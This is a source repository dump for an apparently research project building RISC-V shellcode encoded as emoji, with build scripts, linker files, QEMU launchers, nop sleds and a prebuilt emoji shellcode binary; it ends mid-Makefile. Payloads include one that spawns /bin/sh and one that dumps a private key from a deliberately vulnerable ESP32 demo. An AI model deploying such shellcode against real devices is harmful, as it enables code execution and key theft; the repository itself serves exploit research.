├── qemu_short ├── l ├── helpers ├── stage1.ld ├── unclog.py ├── fromto.cpp ├── encode_stage2.py ├── .gitignore ├── Makefile └── stage1.S ├── esp32 ├── helpers ├── stage1.ld ├── unclog.py ├── .gitignore ├── encode_stage2.py ├── app │ ├── .gitignore │ ├── main │ │ ├── CMakeLists.txt │ │ └── vulnerable.c │ ├── README.md │ ├── w │ ├── sdkconfig.defaults │ └── CMakeLists.txt ├── z ├── Makefile └── stage1.S ├── payload ├── payload_esp32_led.c ├── payload_serial_asm.c ├── payload_serial_asm_short.c ├── serial_tryhard │ ├── helpers │ ├── payload_serial_asm_short.c │ ├── .gitignore │ ├── payload_serial_asm_short.ld │ ├── payload_serial_asm_short.S │ ├── Makefile │ └── tryhard.sh ├── payload_esp32_led.ld ├── payload_linux_shell.ld ├── payload_serial_asm.ld ├── payload_serial_asm_short.ld ├── payload_linux_shell.S ├── payload_serial_asm_short.S ├── payload_esp32_led.S ├── payload_serial_asm.S ├── payload_linux_shell.c ├── payload.mk └── payload_linux_shared.c ├── hifiveu ├── helpers ├── .gitignore ├── stage1.ld ├── unclog.py ├── encode_stage2.py ├── vuln.c ├── Makefile └── stage1.S ├── nopsled ├── helpers ├── nopsled.ld ├── .gitignore ├── .gdbinit ├── l ├── nopsled.S └── Makefile ├── qemu ├── prebuilt │ ├── .gitignore │ ├── launch_prebuilt │ └── shellcode.bin ├── .gitignore ├── stage1.ld ├── l ├── helpers │ ├── common.m4 │ ├── common.mk │ └── check.py ├── Makefile ├── encode_stage2.py ├── stage1.S ├── unclog.py └── fromto.cpp ├── paper_hello_world ├── .gitignore ├── qemu_miniclog_small.bin ├── launch_prebuilt ├── qemu_miniclog_medium.bin └── qemu_miniclog_large.bin ├── block ├── .gitignore ├── emojify.py ├── diss_to_instr.sh ├── Makefile ├── genu14.py └── block.cpp ├── .pylintrc ├── Makefile ├── quality.sh ├── README.md └── LICENSE /qemu_short/l: -------------------------------------------------------------------------------- 1 | ../qemu/l -------------------------------------------------------------------------------- /esp32/helpers: -------------------------------------------------------------------------------- 1 | ../qemu/helpers -------------------------------------------------------------------------------- /payload/payload_esp32_led.c: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /payload/payload_serial_asm.c: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /esp32/stage1.ld: -------------------------------------------------------------------------------- 1 | ../qemu/stage1.ld -------------------------------------------------------------------------------- /esp32/unclog.py: -------------------------------------------------------------------------------- 1 | ../qemu/unclog.py -------------------------------------------------------------------------------- /hifiveu/helpers: -------------------------------------------------------------------------------- 1 | ../qemu/helpers/ -------------------------------------------------------------------------------- /nopsled/helpers: -------------------------------------------------------------------------------- 1 | ../qemu/helpers/ -------------------------------------------------------------------------------- /qemu_short/helpers: -------------------------------------------------------------------------------- 1 | ../qemu/helpers -------------------------------------------------------------------------------- /esp32/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | /out 3 | -------------------------------------------------------------------------------- /hifiveu/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | /out 3 | -------------------------------------------------------------------------------- /hifiveu/stage1.ld: -------------------------------------------------------------------------------- 1 | ../qemu/stage1.ld -------------------------------------------------------------------------------- /hifiveu/unclog.py: -------------------------------------------------------------------------------- 1 | ../qemu/unclog.py -------------------------------------------------------------------------------- /nopsled/nopsled.ld: -------------------------------------------------------------------------------- 1 | ../qemu/stage1.ld -------------------------------------------------------------------------------- /payload/payload_serial_asm_short.c: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /qemu/prebuilt/.gitignore: -------------------------------------------------------------------------------- 1 | /.gdbinit 2 | -------------------------------------------------------------------------------- /qemu_short/stage1.ld: -------------------------------------------------------------------------------- 1 | ../qemu/stage1.ld -------------------------------------------------------------------------------- /qemu_short/unclog.py: -------------------------------------------------------------------------------- 1 | ../qemu/unclog.py -------------------------------------------------------------------------------- /paper_hello_world/.gitignore: -------------------------------------------------------------------------------- 1 | /.gdbinit 2 | -------------------------------------------------------------------------------- /qemu_short/fromto.cpp: -------------------------------------------------------------------------------- 1 | ../qemu/fromto.cpp -------------------------------------------------------------------------------- /esp32/encode_stage2.py: -------------------------------------------------------------------------------- 1 | ../qemu/encode_stage2.py -------------------------------------------------------------------------------- /hifiveu/encode_stage2.py: -------------------------------------------------------------------------------- 1 | ../qemu/encode_stage2.py -------------------------------------------------------------------------------- /nopsled/.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | nopsled.bin 3 | -------------------------------------------------------------------------------- /payload/serial_tryhard/helpers: -------------------------------------------------------------------------------- 1 | ../../qemu/helpers/ -------------------------------------------------------------------------------- /payload/serial_tryhard/payload_serial_asm_short.c: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /qemu_short/encode_stage2.py: -------------------------------------------------------------------------------- 1 | ../qemu/encode_stage2.py -------------------------------------------------------------------------------- /block/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | /block 3 | /jjj32.txt 4 | /jjj64.txt 5 | -------------------------------------------------------------------------------- /esp32/app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | /sdkconfig 3 | /sdkconfig.old 4 | -------------------------------------------------------------------------------- /payload/serial_tryhard/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | /out 3 | /logs.txt 4 | -------------------------------------------------------------------------------- /qemu/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | /out 3 | /.gdbinit 4 | miniclog.out 5 | -------------------------------------------------------------------------------- /qemu_short/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | /out 3 | /.gdbinit 4 | miniclog.out 5 | -------------------------------------------------------------------------------- /esp32/app/main/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register(SRCS "vulnerable.c" INCLUDE_DIRS "") 2 | -------------------------------------------------------------------------------- /esp32/app/README.md: -------------------------------------------------------------------------------- 1 | # Emoji-vulnerable application Example 2 | 3 | Demo for the emoji RV32 shellcodes. 4 | -------------------------------------------------------------------------------- /esp32/app/w: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -euo pipefail 3 | 4 | idf.py -b 2000000 build flash 5 | idf.py monitor 6 | -------------------------------------------------------------------------------- /nopsled/.gdbinit: -------------------------------------------------------------------------------- 1 | set architecture riscv:rv64 2 | target remote :1235 3 | layout asm 4 | layout regs 5 | b *0x80000000 6 | c 7 | -------------------------------------------------------------------------------- /.pylintrc: -------------------------------------------------------------------------------- 1 | [MESSAGES CONTROL] 2 | disable= 3 | C0103, 4 | C0114, 5 | C0116, 6 | R0801, 7 | 8 | [FORMAT] 9 | max-line-length=120 10 | -------------------------------------------------------------------------------- /qemu/stage1.ld: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2018-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | ENTRY (_start) 7 | 8 | SECTIONS 9 | { 10 | . = 0x80000800; 11 | .text . : SUBALIGN(4) { *(.text) } 12 | .data : { *(.data) } 13 | } 14 | -------------------------------------------------------------------------------- /nopsled/l: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | CMD_BASE="qemu-system-riscv64 -machine sifive_u -bios none -device loader,file=nopsled.bin,addr=0x80000000" 3 | MORE_OPTS="-display none -serial stdio" 4 | MORE_OPTS+=" -gdb tcp::1235 -S" 5 | CMD="$CMD_BASE $MORE_OPTS" 6 | echo "$CMD" 7 | ${CMD} 8 | -------------------------------------------------------------------------------- /payload/payload_esp32_led.ld: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2018-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | ENTRY (_start) 7 | 8 | SECTIONS 9 | { 10 | . = 0; 11 | .text . : { *(.start) *(.text*) *(.rodata*) } 12 | .data : { *(.data*) } 13 | .bss : { *(.bss*) } 14 | } 15 | -------------------------------------------------------------------------------- /payload/payload_linux_shell.ld: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2018-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | ENTRY (_start) 7 | 8 | SECTIONS 9 | { 10 | . = 0; 11 | .text . : { *(.start) *(.text*) *(.rodata*) } 12 | .data : { *(.data*) } 13 | .bss : { *(.bss*) } 14 | } 15 | -------------------------------------------------------------------------------- /payload/payload_serial_asm.ld: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2018-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | ENTRY (_start) 7 | 8 | SECTIONS 9 | { 10 | . = 0; 11 | .text . : { *(.start) *(.text*) *(.rodata*) } 12 | .data : { *(.data*) } 13 | .bss : { *(.bss*) } 14 | } 15 | -------------------------------------------------------------------------------- /payload/payload_serial_asm_short.ld: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2018-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | ENTRY (_start) 7 | 8 | SECTIONS 9 | { 10 | . = 0; 11 | .text . : { *(.start) *(.text*) *(.rodata*) } 12 | .data : { *(.data*) } 13 | .bss : { *(.bss*) } 14 | } 15 | -------------------------------------------------------------------------------- /payload/serial_tryhard/payload_serial_asm_short.ld: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2018-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | ENTRY (_start) 7 | 8 | SECTIONS 9 | { 10 | . = 0; 11 | .text . : { *(.start) *(.text*) *(.rodata*) } 12 | .data : { *(.data*) } 13 | .bss : { *(.bss*) } 14 | } 15 | -------------------------------------------------------------------------------- /block/emojify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # 4 | # (c) 2021-2022 Hadrien Barral 5 | # SPDX-License-Identifier: Apache-2.0 6 | # 7 | 8 | import binascii 9 | import sys 10 | 11 | 12 | def main() -> None: 13 | print(binascii.unhexlify(sys.argv[1]).decode("utf-8")) 14 | 15 | 16 | if __name__ == "__main__": 17 | main() 18 | -------------------------------------------------------------------------------- /esp32/app/sdkconfig.defaults: -------------------------------------------------------------------------------- 1 | CONFIG_IDF_TARGET="esp32c3" 2 | CONFIG_COMPILER_OPTIMIZATION_SIZE=y 3 | CONFIG_ESPTOOLPY_FLASHSIZE_4MB=y 4 | CONFIG_LOG_DEFAULT_LEVEL_WARN=y 5 | CONFIG_BOOTLOADER_LOG_LEVEL_WARN=y 6 | # CONFIG_APP_COMPILE_TIME_DATE is not set 7 | # CONFIG_ESP_SYSTEM_MEMPROT_FEATURE is not set 8 | # CONFIG_BOOTLOADER_REGION_PROTECTION_ENABLE is not set 9 | -------------------------------------------------------------------------------- /payload/payload_linux_shell.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2018-2022 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | .section .start 7 | _start: 8 | .globl _start 9 | nop 10 | nop 11 | nop 12 | nop 13 | nop 14 | nop 15 | nop 16 | 17 | # Get a stack 18 | jal sp, next 19 | next: 20 | addi sp, sp, -128 21 | 22 | jal main 23 | li a7, 93 24 | ecall 25 | -------------------------------------------------------------------------------- /payload/payload_serial_asm_short.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2018-2022 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | .section .start 7 | _start: 8 | .globl _start 9 | fence.i 10 | lui a0,0x10010 # a0 = SERIAL_BASE = 0x10010000U 11 | auipc s0,0x0 # s0 = stringptr 12 | next: 13 | lw s1,12(s0) 14 | addi s0,s0,1 15 | sw s1,0(a0) 16 | bnez s1,next 17 | .ascii "Hello, World!" 18 | -------------------------------------------------------------------------------- /payload/payload_esp32_led.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2018-2022 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | .section .start 7 | _start: 8 | .globl _start 9 | fence.i 10 | auipc a0, 0x0 11 | addi a0, a0, 28 12 | li a1, PAYLOAD_PUTS 13 | jalr a1 14 | li a1, PAYLOAD_DUMP_PRIVATE_KEY 15 | jalr a1 16 | j . 17 | .asciz "🏴‍☠️ Hello from shellcode 🙂, I will now dump the shitcoin private key…" 18 | -------------------------------------------------------------------------------- /esp32/app/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # The following lines of boilerplate have to be in your project's 2 | # CMakeLists in this exact order for cmake to work correctly 3 | cmake_minimum_required(VERSION 3.16) 4 | 5 | set(EXTRA_COMPONENT_DIRS $ENV{IDF_PATH}/examples/common_components/led_strip 6 | $ENV{IDF_PATH}/examples/common_components/protocol_examples_common) 7 | 8 | include($ENV{IDF_PATH}/tools/cmake/project.cmake) 9 | project(emoji) 10 | -------------------------------------------------------------------------------- /payload/payload_serial_asm.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2018-2022 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | .section .start 7 | _start: 8 | .globl _start 9 | fence.i 10 | auipc a5,0x0 11 | addi a5,a5,0x16 # a5 = stringptr 12 | lui a3,0x10010 # a3 = SERIAL_BASE = 0x10010000U 13 | next: 14 | lbu a4,0(a5) 15 | sw a4,0(a3) 16 | addi a5,a5,1 17 | bnez a4,next 18 | j . 19 | .asciz "Hello, World!" 20 | -------------------------------------------------------------------------------- /payload/serial_tryhard/payload_serial_asm_short.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2018-2023 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | .section .start 7 | _start: 8 | .globl _start 9 | fence.i 10 | lui REGA,0x10010 # REGA = SERIAL_BASE = 0x10010000U 11 | auipc REGB,0x0 # REGB = stringptr 12 | next: 13 | lw REGC,12(REGB) 14 | addi REGB,REGB,1 15 | sw REGC,0(REGA) 16 | bnez REGC,next 17 | .ascii "Hello, World!" 18 | -------------------------------------------------------------------------------- /paper_hello_world/qemu_miniclog_small.bin: -------------------------------------------------------------------------------- 1 | ✅©️👨‍❤‍💋‍👨📇↗️♉❎♓🪙⭐📢↗️♓🪙⭐📢↗️♓🪙⭐📵↗️♓🪙⭐📄⛓️♓🪙⭐🍌♓🪙⭐📂↗️♓🪙⭐📂⚗️♓🪙⭐📂⚗️♓🪙⭐📂⚗️♓🪙⭐📅➗⌚♓🪙⭐🍅♓🪙⭐📢↗️❗🈷️✉️👨‍❤️‍👨📦✉️👨‍❤️‍👨🆖♓🌷🈷️✉️👩‍❤️‍👩🆕♓🪙⭐📳🆎♓🪙⭐🍎♓🪙⭐📂↗️♓🪙⭐📅♑⬜⏰➕⏰➕⏰➕❌➖⏰➕❌➖♓🪙⭐🍍❌➖❌➖♓🪙⭐🦕♓🪙⭐🦕♓🪙⭐🦕❌➖♓🪙⭐👉⏰➕❌➖♓🪙⭐🍉❌➖♓🪙⭐🦕♓🪙⭐🍙♓🪙⭐🖕❌➖⏰➕⏰➕⏰➕⏰➕⏰➕⏰➕⏰➕❌➖♓🪙⭐👉❌➖♓🪙⭐🍍❌➖❌➖♓🪙⭐📅➰♋♓🪙⭐🕙❌➖❌➖♓🪙⭐👉⏰➕❌➖♓🪙⭐👉❌➖❌➖♓🪙⭐🦕❌➖⏰➕♓🪙⭐🖕♓🪙⭐🦕❌➖♓🪙⭐📅☔♋❌➖♓🪙⭐📅➰♋♓🪙⭐🥙❌➖♓🪙⭐📅⏬♋⏰➕♓🪙⭐🕙❌➖♓🪙⭐📅⏬♋❌➖❌➖⏰➕⏰➕⏰➕❌➖♓🪙⭐🦕❌➖♓🪙⭐🍙❌➖♓🪙⭐🦕♓🪙⭐🦕♓🪙⭐🦕❌➖♓🪙⭐🥉♓🪙⭐🖕❌➖⏰➕⏰➕⏰➕❌➖♓🪙⭐📅⏬♋❌➖♓🪙⭐🕙❌➖♓🪙⭐🦕❌➖♓🪙⭐🍍❌➖⏰ -------------------------------------------------------------------------------- /qemu/l: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -euo pipefail 3 | cd "$(dirname "$0")" 4 | 5 | RV_BITS=64 6 | LOAD_ADDR=0x80000800 7 | 8 | cat << EOF > .gdbinit 9 | set architecture riscv:rv${RV_BITS} 10 | target remote :1235 11 | layout asm 12 | layout regs 13 | focus cmd 14 | EOF 15 | 16 | QEMU_BIN="qemu-system-riscv${RV_BITS}" 17 | BASE="${QEMU_BIN} -machine sifive_u -bios none -device loader,addr=${LOAD_ADDR},cpu-num=0 -device loader,file=out/shellcode.bin,addr=${LOAD_ADDR}" 18 | CMD="${BASE} -display none -serial stdio" 19 | #CMD="${BASE} -display none -serial stdio -gdb tcp::1235 -S" 20 | echo "$CMD" 21 | ${CMD} 22 | -------------------------------------------------------------------------------- /qemu/prebuilt/launch_prebuilt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -euo pipefail 3 | cd "$(dirname "$0")" 4 | 5 | RV_BITS=64 6 | LOAD_ADDR=0x80000800 7 | 8 | cat << EOF > .gdbinit 9 | set architecture riscv:rv${RV_BITS} 10 | target remote :1235 11 | layout asm 12 | layout regs 13 | focus cmd 14 | EOF 15 | 16 | QEMU_BIN="qemu-system-riscv${RV_BITS}" 17 | BASE="${QEMU_BIN} -machine sifive_u -bios none -device loader,addr=${LOAD_ADDR},cpu-num=0 -device loader,file=shellcode.bin,addr=${LOAD_ADDR}" 18 | CMD="${BASE} -display none -serial stdio" 19 | #CMD="${BASE} -display none -serial stdio -gdb tcp::1235 -S" 20 | echo "$CMD" 21 | ${CMD} 22 | -------------------------------------------------------------------------------- /nopsled/nopsled.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2021-2022 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | include(`helpers/common.m4')#' 7 | 8 | .macro sled 9 | .word 0xB79B9FF0 10 | .endm 11 | 12 | .macro nope3 13 | .byte 0xE2 14 | .byte 0x9B 15 | .byte 0x94 16 | .endm 17 | 18 | .macro nope4 19 | .word 0x85999FF0 20 | .endm 21 | 22 | .global _start 23 | _start: 24 | ins2 0xe29c 25 | ins2 0x85c2 #beqz a3,0x2c 26 | ins2 0xa9ef 27 | ins2 0xb88f 28 | 29 | nope3 30 | nope4 31 | nope3 32 | nope3 33 | nope3 34 | nope4 35 | nope3 36 | 37 | repeat(42, {sled}) 38 | -------------------------------------------------------------------------------- /esp32/z: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -euo pipefail 3 | 4 | pc_file=build/payload_constants.mk 5 | 6 | build_demo() { 7 | make -j 8 | cd app 9 | idf.py build 10 | riscv32-esp-elf-objdump -d build/emoji.elf > build/emoji.diss 11 | PUTS=$(cat build/emoji.diss | grep ":" | cut -d' ' -f1) 12 | WIN=$(cat build/emoji.diss | grep ":" | cut -d' ' -f1) 13 | cd - 14 | printf "PAYLOAD_PUTS:=0x${PUTS}\nPAYLOAD_DUMP_PRIVATE_KEY:=0x${WIN}\n" > "${pc_file}.tmp" 15 | cmp -s "${pc_file}" "${pc_file}.tmp" 16 | } 17 | 18 | build_demo || (mv "${pc_file}.tmp" "${pc_file}" && build_demo) 19 | cd app 20 | ./w 21 | -------------------------------------------------------------------------------- /payload/payload_linux_shell.c: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2018-2022 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | #include 7 | 8 | #include "payload_linux_shared.c" 9 | 10 | #define WIN_STRING "🏴‍☠️ Hello from shellcode 🙂, I will now spawn a shell... 🐚\n" 11 | #define ERR_STRING "Failed to spawn shell\n" 12 | char *const sh = "/bin/sh"; 13 | 14 | int main(void) 15 | { 16 | sys_write(1 /* stdout */, WIN_STRING, sizeof(WIN_STRING)-1); 17 | char *const volatile argv[2] = {sh, NULL}; 18 | sys_execve(sh, (char **)argv, NULL); 19 | sys_write(1 /* stdout */, ERR_STRING, sizeof(ERR_STRING)-1); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # (c) 2018-2022 Hadrien Barral 3 | # SPDX-License-Identifier: Apache-2.0 4 | # 5 | 6 | MAKEFLAGS += --no-builtin-rules --no-builtin-variables -j8 7 | .SUFFIXES: 8 | 9 | all: 10 | @echo "Error: Please make each sub-project individually. See README.md" 1>&2 11 | exit 1 12 | 13 | clean: clean_block clean_esp32 clean_hifiveu clean_nopsled clean_qemu 14 | rm -rf .mypy_cache 15 | 16 | clean_block: 17 | $(MAKE) -C block clean 18 | 19 | clean_esp32: 20 | $(MAKE) -C esp32 clean 21 | 22 | clean_hifiveu: 23 | $(MAKE) -C hifiveu clean 24 | 25 | clean_nopsled: 26 | $(MAKE) -C nopsled clean 27 | 28 | clean_qemu: 29 | $(MAKE) -C qemu clean 30 | 31 | .PHONY: clean clean_block clean_esp32 clean_hifiveu clean_nopsled clean_qemu 32 | -------------------------------------------------------------------------------- /paper_hello_world/launch_prebuilt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -euo pipefail 3 | cd "$(dirname "$0")" 4 | 5 | # Uncomment the one you want 6 | SHELLCODE=qemu_miniclog_small.bin 7 | #SHELLCODE=qemu_miniclog_medium.bin 8 | #SHELLCODE=qemu_miniclog_large.bin 9 | 10 | RV_BITS=64 11 | LOAD_ADDR=0x80000800 12 | 13 | cat << EOF > .gdbinit 14 | set architecture riscv:rv${RV_BITS} 15 | target remote :1235 16 | layout asm 17 | layout regs 18 | focus cmd 19 | EOF 20 | 21 | QEMU_BIN="qemu-system-riscv${RV_BITS}" 22 | BASE="${QEMU_BIN} -machine sifive_u -bios none -device loader,addr=${LOAD_ADDR},cpu-num=0 -device loader,file=${SHELLCODE},addr=${LOAD_ADDR}" 23 | CMD="${BASE} -display none -serial stdio" 24 | #CMD="${BASE} -display none -serial stdio -gdb tcp::1235 -S" 25 | echo "$CMD" 26 | ${CMD} 27 | -------------------------------------------------------------------------------- /qemu/helpers/common.m4: -------------------------------------------------------------------------------- 1 | divert(-1) 2 | /* 3 | * (c) 2018-2022 Hadrien Barral 4 | * SPDX-License-Identifier: Apache-2.0 5 | */ 6 | changequote({,}) 7 | define({LQ},{changequote(`,'){dnl} 8 | changequote({,})}) 9 | define({RQ},{changequote(`,')dnl{ 10 | }changequote({,})}) 11 | changecom({;}) 12 | 13 | define({repeat}, {ifelse($1, 0, {}, $1, 1, {$2}, {$2 14 | repeat(eval($1-1), {$2})})}) 15 | divert(0)dnl 16 | 17 | .macro ins4 w:req 18 | .word (((\w>>24)& 0xFF) << 0) | (((\w>>16)& 0xFF) << 8) | (((\w>>8)& 0xFF) << 16) | (((\w>>0)& 0xFF) << 24) 19 | .endm 20 | 21 | .macro ins2 w:req 22 | .hword (((\w>>8)& 0xFF) << 0) | (((\w>>0)& 0xFF) << 8) 23 | .endm 24 | 25 | .macro clog size:req 26 | .skip \size, 0xff 27 | .endm 28 | 29 | .macro bad 30 | ins2 0x7FEF 31 | .endm 32 | -------------------------------------------------------------------------------- /qemu/helpers/common.mk: -------------------------------------------------------------------------------- 1 | # 2 | # (c) 2018-2022 Hadrien Barral 3 | # SPDX-License-Identifier: Apache-2.0 4 | # 5 | 6 | MAKEFLAGS += --no-builtin-rules 7 | SHELL := /bin/bash -o pipefail 8 | Q := 9 | 10 | RV_ARCH ?= rv$(RV_BITS)ic 11 | RV_LDTARGET := elf$(RV_BITS)-littleriscv 12 | ifeq ($(RV_BITS),32) 13 | RV_ABI = ilp32 14 | else 15 | RV_ABI = lp64 16 | endif 17 | 18 | PREFIX ?= riscv64-unknown-elf- 19 | AS := $(PREFIX)as 20 | GCC := $(PREFIX)gcc 21 | LD := $(PREFIX)ld 22 | OBJCOPY := $(PREFIX)objcopy 23 | OBJDUMP := $(PREFIX)objdump 24 | ASFLAGS := -march=$(RV_ARCH) 25 | LDFLAGS := --oformat=$(RV_LDTARGET) -nostdlib -static 26 | BUILD := build 27 | 28 | PAYLOAD_PREFIX ?= riscv64-linux-gnu- 29 | PAYLOAD_AS := $(PAYLOAD_PREFIX)as 30 | PAYLOAD_GCC := $(PAYLOAD_PREFIX)gcc 31 | PAYLOAD_LD := $(PAYLOAD_PREFIX)ld 32 | PAYLOAD_OBJCOPY := $(PAYLOAD_PREFIX)objcopy 33 | PAYLOAD_OBJDUMP := $(PAYLOAD_PREFIX)objdump 34 | -------------------------------------------------------------------------------- /nopsled/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # (c) 2021-2022 Hadrien Barral 3 | # SPDX-License-Identifier: Apache-2.0 4 | # 5 | 6 | RV_BITS := 64 7 | RV_ABI := rv64ic 8 | include helpers/common.mk 9 | NAME := nopsled 10 | 11 | all: $(NAME).bin 12 | 13 | $(BUILD): 14 | $(Q)mkdir -p $@ 15 | 16 | $(BUILD)/nopsled.o: nopsled.S | $(BUILD) 17 | $(Q)m4 -I $(BUILD) $< > $(BUILD)/$<.m4.S 18 | $(Q)$(GCC) -o $(BUILD)/$<.i -P -E $(BUILD)/$<.m4.S 19 | $(Q)$(AS) $(ASFLAGS) -o $@ -c $(BUILD)/$<.i 20 | 21 | $(BUILD)/nopsled.elf: $(BUILD)/nopsled.o nopsled.ld 22 | $(Q)$(LD) $(LDFLAGS) -T $(word 2,$^) -o $@ $< 23 | 24 | $(BUILD)/nopsled.bin.notrunc: $(BUILD)/nopsled.elf 25 | $(Q)$(OBJCOPY) -O binary $< $@ 26 | 27 | $(BUILD)/nopsled.bin.nocheck: $(BUILD)/nopsled.bin.notrunc 28 | $(Q)sed '$$ s/\x00*$$//' $< >$@ 29 | 30 | $(NAME).bin: $(BUILD)/nopsled.bin.nocheck helpers/check.py ../block/build/seq.txt 31 | $(Q)$(word 2,$^) -i $< -e $(word 3,$^) 32 | $(Q)cp $< $@ 33 | 34 | clean: 35 | $(Q)rm -rf $(BUILD) $(NAME).bin 36 | -------------------------------------------------------------------------------- /quality.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # 4 | # (c) 2022-2022 Hadrien Barral 5 | # SPDX-License-Identifier: CC0-1.0 6 | # 7 | # A small script to check python and shell scripts 8 | # 9 | 10 | cd "$(dirname "$0")" || exit 11 | 12 | CHECK_ONLY=0 13 | [[ $# -gt 0 ]] && CHECK_ONLY=1 14 | 15 | STATUS=0 16 | 17 | find . -name "*.sh" -exec shellcheck {} \; || STATUS=1 18 | 19 | # $@: python files to check 20 | check_python() { 21 | black_args=(-l 120 --target-version py310 --preview) 22 | [[ "${CHECK_ONLY}" -eq 0 ]] && black_args+=(-q) 23 | [[ "${CHECK_ONLY}" -eq 1 ]] && black_args+=(--check --diff) 24 | black "${black_args[@]}" "$@" || STATUS=1 25 | 26 | isort_args=() 27 | [[ "${CHECK_ONLY}" -eq 1 ]] && isort_args+=(-c) 28 | isort "${isort_args[@]}" "$@" || STATUS=1 29 | 30 | pylint -j 0 "$@" --score=n || STATUS=1 31 | 32 | mypy --disallow-untyped-defs --color-output "$@" || STATUS=1 33 | 34 | } 35 | 36 | readarray -d '' python_files < \ 37 | <(find . -name "*.py" -type f -print0) 38 | check_python "${python_files[@]}" 39 | 40 | exit "${STATUS}" 41 | -------------------------------------------------------------------------------- /block/diss_to_instr.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # (c) 2022-2022 Hadrien Barral 5 | # SPDX-License-Identifier: Apache-2.0 6 | # 7 | 8 | set -euo pipefail 9 | 10 | # $1: architecture 11 | # $2: out file 12 | # $3: remove floating-point 13 | gen_instr () { 14 | tmpfile1=$(mktemp /tmp/z.XXXXXX) 15 | riscv64-unknown-elf-objdump -b binary -D -m "$1" build/diss.bin | grep $':\t' | cut -f 2- \ 16 | | grep -v $' \t0x' | sort -t$'\t' -k2,2 -k3,3 \ 17 | | sed -E 's/([0-9a-f]{2})([0-9a-f]{2}) {16}\t/\2\1 /' \ 18 | | sed -E 's/([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2}) {10}\t/\4\3\2\1 /' \ 19 | > "${tmpfile1}" 20 | if [ "$3" == "1" ]; then 21 | tmpfile=$(mktemp /tmp/z.XXXXXX) 22 | < "${tmpfile1}" \ 23 | grep -v "flq" | grep -v "fld" | grep -v "flw" | grep -v "fsd" | grep -v "fsw" \ 24 | > "${tmpfile}" 25 | else 26 | tmpfile="${tmpfile1}" 27 | fi 28 | mv "${tmpfile}" "$2" 29 | } 30 | 31 | gen_instr riscv:rv64 "build/instr64.txt" 0 32 | gen_instr riscv:rv32 "build/instr32.txt" 0 33 | -------------------------------------------------------------------------------- /block/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # (c) 2021-2022 Hadrien Barral 3 | # SPDX-License-Identifier: Apache-2.0 4 | # 5 | 6 | SHELL := /bin/bash 7 | MAKEFLAGS += --no-builtin-rules --no-builtin-variables 8 | .SUFFIXES: 9 | 10 | BUILD := build 11 | BLOCK_NAME := block 12 | 13 | all: jjj32.txt jjj64.txt 14 | 15 | jjj32.txt: $(BLOCK_NAME) $(BUILD)/diss.bin $(BUILD)/instr32.txt 16 | $(Q)./$< -l --32 | grep "^\[" | sort -t$$'\t' -k2,2 -k3,3 | sed -E 's/(\[)([0-9a-f]{4})(\])\t/\2 /' > $(BUILD)/$@.tmp 17 | $(Q)mv $(BUILD)/$@.tmp $@ 18 | 19 | jjj64.txt: $(BLOCK_NAME) $(BUILD)/diss.bin $(BUILD)/instr64.txt 20 | $(Q)./$< -l --64 | grep "^\[" | sort -t$$'\t' -k2,2 